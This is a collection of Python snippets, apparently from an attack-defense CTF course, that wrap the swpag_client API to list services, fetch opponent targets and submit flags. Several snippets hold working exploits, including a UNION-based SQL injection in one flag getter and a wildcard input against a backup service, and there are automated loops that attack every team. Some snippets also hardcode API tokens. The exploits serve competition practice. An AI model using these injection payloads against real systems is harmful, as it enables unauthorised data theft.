コード例 #1
0
class PCTFAPI():

    __slots__ = ('team')

    def __init__(self, game_url, team_token):
        self.team = Team(game_url, team_token)

    def getServiceNames(self):

        service_ids = []
        services = self.team.get_service_list()

        for service in services:
            service_ids.append(service['service_id'])

        return service_ids

    def getTargets(self, service):
        targets = self.team.get_targets(service)
        return targets

    def getFLG(self, hostname, flagID):
        kid_url = 'http://' + hostname + ':10003/kid'

        print('Send request to: ' + kid_url)
        sql_injection = "%' UNION SELECT description AS data from parties where id=" + flagID + "; --"
        payload = {'first': 'Hong', 'last': sql_injection, 'age': 30}
        try:
            r = requests.get(kid_url, params=payload)
            res = r.text
            kid_id = res.split()[2]
            print(res)
            print(kid_id)

            find_url = 'http://' + hostname + ':10003/find'
            print('Send request to: ' + find_url)
            find_params = {'kid': kid_id}
            find_r = requests.get(find_url, params=find_params)
            find_res = find_r.text
            flag = find_res.split()[5]
            print(find_res)
            print(flag)
            return flag
        except:
            return None

    def submitFlag(self, flags):
        if not isinstance(flags, list):
            flags = [flags]

        status = self.team.submit_flag(flags)

        for i, s in enumerate(status):
            print("Flag %s submission status: %s" % (flags[i], s))

        return status
コード例 #2
0
    def get(self,service):
        t = Team(None, "API_KEY")
        status = t.get_game_status()
        ownscore = status['scores']['151']['total_points']
        result = []
        top_ten = sorted([team['total_points'] for team in status['scores'].values()], reverse = True)[10]

        for target in t.get_targets(service):
            team_id = target['hostname'][4:]
            if status['scores'][team_id]['total_points'] > ownscore or status['scores'][team_id]['total_points'] >top_ten:
                result.append(target)
        return result
コード例 #3
0
class PCTFAPI():

    __slots__ = ('team')

    def __init__(self, game_url, team_token):
        self.team = Team(game_url, team_token)

    def getServiceNames(self):

        service_ids = []
        services = self.team.get_service_list()

        for service in services:
            service_ids.append(service['service_id'])

        return service_ids

    def getTargets(self, service):
        targets = self.team.get_targets(service)
        return targets

    def getFlag(self):
        #TODO: implement the getFlag logic.
        flag = 'dummy flag'
        return flag

    def submitFlag(self, flags):
        if not isinstance(flags, list):
            flags = [flags]

        status = self.team.submit_flag(flags)

        for i, s in enumerate(status):
            print("Flag %s submission status: %s" % (flags[i], s))

        return status
コード例 #4
0
from swpag_client import Team

t = Team("http://actf0.cse545.rev.fish/", "IeaL1xdIryga0Ubazn2Zi2Sh3Gf47RdN")
print(t.game_url)
#print(t.get_vm())
print(t.get_game_status())
print(t.get_service_list())
#t.get_targets(service_id)
services = t.get_service_list()
print('services:', services)
print()
for service in services:
    print('SERVICE NAME:', service)
    targets = t.get_targets(service_id)
    for target in targets:
        print('TARGET NAME:', target)
コード例 #5
0
    major = round((team_number % 20))
    if team_number <= 20:
        minor = 3
    else:
        minor = 4
    if major == 0:
        major = 20
    return '10.9.{major}.{minor}'.format(major=major, minor=minor)


#---------- CTF - the game starts here - attack service 3 ----------------------------
if __name__ == "__main__":
    print("[*] Starting Launcher")
    ips = []
    # Get targets for service 3:
    targets = team.get_targets(3)
    # Form the exploit list
    for target in targets:
        ips.append((team_ip(target['hostname']), target['flag_id']))
        print(
            f"Host name:{target['hostname']}, IP:{team_ip(target['hostname'])}, Flag Id: {target['flag_id']}"
        )
    #exploit list in format (ExploitClass, exploit_port, exploit_name)
    exploit_list = []
    # Call Exploit_3 for service 3
    exploit_list.append((Exploit3, 10003, "Exploit3"))
    # Run every 10 seconds to avoid DOS
    while True:
        # launch the exploits, run the exploits in thread
        for ip, flagId in ips:
            print(f"IP: {ip} Flag: {flagId}")
コード例 #6
0
from swpag_client import Team

team = Team('http://52.52.219.26/', 'sEek7pgZDmYYwEbTzi4K1CwxrjCZ5H7p')

print team.get_targets(10003)
コード例 #7
0
    attack_svc6, attack_svc7
]
team = Team("http://52.53.64.114", "C3U6ooCuCLGoTgzOqoO3")
services = team.get_service_list()
service_flag_ids = dict()

while True:
    for service in services:
        if service['service_id'] not in implemented_attack_functions:
            print("skipping service", service['service_id'],
                  ", attack function not implemented")
            continue
        print("Going to attack", service['service_name'])
        if service['service_name'] not in service_flag_ids:
            service_flag_ids[service['service_name']] = set()
        targets = team.get_targets(service['service_id'])
        for target in targets:
            if not target["team_name"].startswith("fos_"):
                continue
            flag_id = target['flag_id']
            ip = socket.gethostbyname(target['hostname'])
            if ip == "10.9.4.4":
                continue
            port = target['port']
            print("ip:", ip, ", port:", port, ", flag_id:", flag_id)
            if flag_id in service_flag_ids[service['service_name']]:
                print("Skipping... already processed this flag_id.")
                continue
            try:
                conn = remote(ip, port, timeout=30)
                context.log_level = "debug"
コード例 #8
0
        for handler in handlers:
            services_and_handlers[handler.SERVICE_NAME] = handler

        # Dictionary containing a list of flags for each handler
        flags_per_handler = {}

        # Keep track of errors for this round
        errors = set()

        # Load targets
        log.info("Loading targets...")
        targets = []
        for service in list(services_and_handlers.keys()):
            try:
                handler = services_and_handlers[service]
                targets += [(handler, t) for t in team.get_targets(service)]
            except Exception as e:
                log.failure('{} : {}'.format(handler.__name__, e))

        def exploit(xxx_todo_changeme):

            (handler, target) = xxx_todo_changeme
            handler_name = handler.__name__
            opponent_ip = target['hostname']
            flag_id = target['flag_id']

            results = []
            # Run each exploit
            try:
                flag = handler.get_flag(opponent_ip, flag_id)
                if flag != None:
コード例 #9
0
class ProjectCTFAPI():

    # This is just a simple wrapper class
    # See client.py for more methods supported by self.team

    __slots__ = ('team', 'debug')
    """
		The Team class is your entrypoint into the API
	"""
    def __init__(self, gameIp, teamToken):
        self.debug = False
        self.team = Team(gameIp, teamToken)

    """
		This returns all of the service ids in the game
	"""

    def getServices(self):

        ids = []
        services = self.team.get_service_list()

        if self.debug:
            print("~" * 5 + " Service List " + "~" * 5)

        for s in services:
            ids.append(s['service_id'])

            if self.debug:

                print("Service %s: %s\n\t'%s'" %
                      (s['service_id'], s['service_name'], s['description']))

        return ids

    """
		This returns a list of targets (ports, ips, flag ids) for the given service id
	"""

    def getTargets(self, service):

        targets = self.team.get_targets(service)

        if self.debug:
            print("~" * 5 + " Targets for service %s " % service + "~" * 5)

            for t in targets:

                for key in ['hostname', 'port', 'flag_id', 'team_name']:

                    print("%10s : %s" % (key, t[key]))
                print("\n")

        return targets

    """
		Submit an individual flag "FLGxxxxxxxx" or list of flags ["FLGxxxxxxxxx", "FLGyyyyyyyy", ...]
	"""

    def submitFlag(self, oneOrMoreFlags):

        if not isinstance(oneOrMoreFlags, list):
            oneOrMoreFlags = [oneOrMoreFlags]

        status = self.team.submit_flag(oneOrMoreFlags)

        if self.debug:
            for i, s in enumerate(status):
                print("Flag %s submission status: %s" % (oneOrMoreFlags[i], s))

        return status
コード例 #10
0
            wait = False
        prevtick = tick["tick_id"]
        print("Tick", prevtick)
        if wait:
            print("(Waiting 30s for flag ids to update)")
            time.sleep(30)
    else:
        print("Sleeping...")
        time.sleep(10)
        continue
    flags = set()
    for svc in services:
        svcid = svc["service_id"]
        if svcid not in attack_services:
            continue
        targets = team.get_targets(svcid)

        for targ in targets:
            # team_name, hostname, port, flag_id
            team_name = targ["team_name"]
            hostname = targ["hostname"]
            port = targ["port"]
            flag_id = targ["flag_id"]
            if attack_teams and team_name not in attack_teams:
                continue  # skip this team
            for i, enabled in enumerate(enabled_attacks[svcid]):
                if not enabled:
                    continue
                print("Attacking team {0} on service {1} using attack {2}... ".
                      format(team_name, svcid, i),
                      end="",
コード例 #11
0
class PCTFAPI():

    __slots__ = ('team')

    def __init__(self, game_url, team_token):
        self.team = Team(game_url, team_token)

    def getServiceNames(self):

        service_ids = []
        services = self.team.get_service_list()

        for service in services:
            service_ids.append(service['service_id'])

        return service_ids

    def getTargets(self, service):
        targets = self.team.get_targets(service)
        return targets

    def getFLG(self, hostname, flagID):
        try:
            r = remote(hostname, 10001)
        except:
            print(hostname + ' is down ')
            return None

        r.sendline('2')
        r.sendline(flagID)
        r.sendline('*')

        rl = r.recvall(timeout=1)
        decoded_str = ''
        try:
            decoded_str = rl.decode('utf-8')
            print(decoded_str)
        except:
            print('bad response')
            return None
        m = re.search('FLG[0-9A-Za-z]{13}', decoded_str)
        if m == None:
            r.close()
            return None

        FLG = m.group(0)
        print('captured the flag')
        print(FLG)
        r.close()
        return FLG

    def submitFlag(self, flags):
        if not isinstance(flags, list):
            flags = [flags]

        status = self.team.submit_flag(flags)

        for i, s in enumerate(status):
            print("Flag %s submission status: %s" % (flags[i], s))

        return status
コード例 #12
0
ファイル: swpag_test.py プロジェクト: CrosleyZack/cse545
from swpag_client import Team

t = Team("http://actf1.cse545.rev.fish/", "C8u0EDLS7oRLndF1u2TczzMgdDWQvtOS")
game_stat = t.get_game_status()
exp_srv = game_stat['exploited_services']
teams = t.get_team_list()
t_status = t.get_team_status()
tick_info = t.get_tick_info()
time_to_tick = tick_info['approximate_seconds_left']

#print(t.get_game_status())
services = t.get_service_list()
for service in services:
    print(service["service_id"])
    targets = t.get_targets(service["service_id"])
    for target in targets:
        print str(target)
コード例 #13
0
class ProjectCTFAPI():

    # This is just a simple wrapper class
    # See client.py for more methods supported by self.team

    __slots__ = ('team', 'debug')
    """
		The Team class is your entrypoint into the API
	"""
    def __init__(self, gameIp, teamToken):
        self.debug = False
        self.team = Team(gameIp, teamToken)

    """
		This returns all of the service ids in the game
	"""

    def getServices(self):

        ids = []
        services = self.team.get_service_list()

        if self.debug:
            print("~" * 5 + " Service List " + "~" * 5)

        for s in services:
            ids.append(s['service_id'])

            if self.debug:

                print("Service %s: %s\n\t'%s'" %
                      (s['service_id'], s['service_name'], s['description']))

        return ids

    """
		This returns a list of targets (ports, ips, flag ids) for the given service id
	"""

    def getTargets(self, service):

        targets = self.team.get_targets(service)

        if self.debug:
            print("~" * 5 + " Targets for service %s " % service + "~" * 5)

            for t in targets:

                for key in ['hostname', 'port', 'flag_id', 'team_name']:

                    print("%10s : %s" % (key, t[key]))
                print("\n")

        return targets

    """
		Submit an individual flag "FLGxxxxxxxx" or list of flags ["FLGxxxxxxxxx", "FLGyyyyyyyy", ...]
	"""

    def submitFlag(self, oneOrMoreFlags):

        if not isinstance(oneOrMoreFlags, list):
            oneOrMoreFlags = [oneOrMoreFlags]

        status = self.team.submit_flag(oneOrMoreFlags)

        if self.debug:
            for i, s in enumerate(status):
                print("Flag %s submission status: %s" % (oneOrMoreFlags[i], s))

        return status

    def getFLG(self, hostname, flagID):
        # Please change port id accordingly
        r = remote(hostname, 20003)

        #below is the exploit of Backup service of CTF3
        # Please change the exploit interaction accordingly
        r.sendline('2')
        r.sendline(flagID)
        r.sendline('*')

        # Receive data from victim service
        # Use python regular expression to search flag
        rl = r.recvall(timeout=1)
        m = re.search('FLG[0-9A-Za-z]{13}', rl)
        # If no flag (service is patched), then close the remote connection and return none
        if m == None:
            r.close()
            return None

        # If find flag, print it, close the connection and send the flag back to main.
        FLG = m.group(0)
        print FLG
        r.close()
        return FLG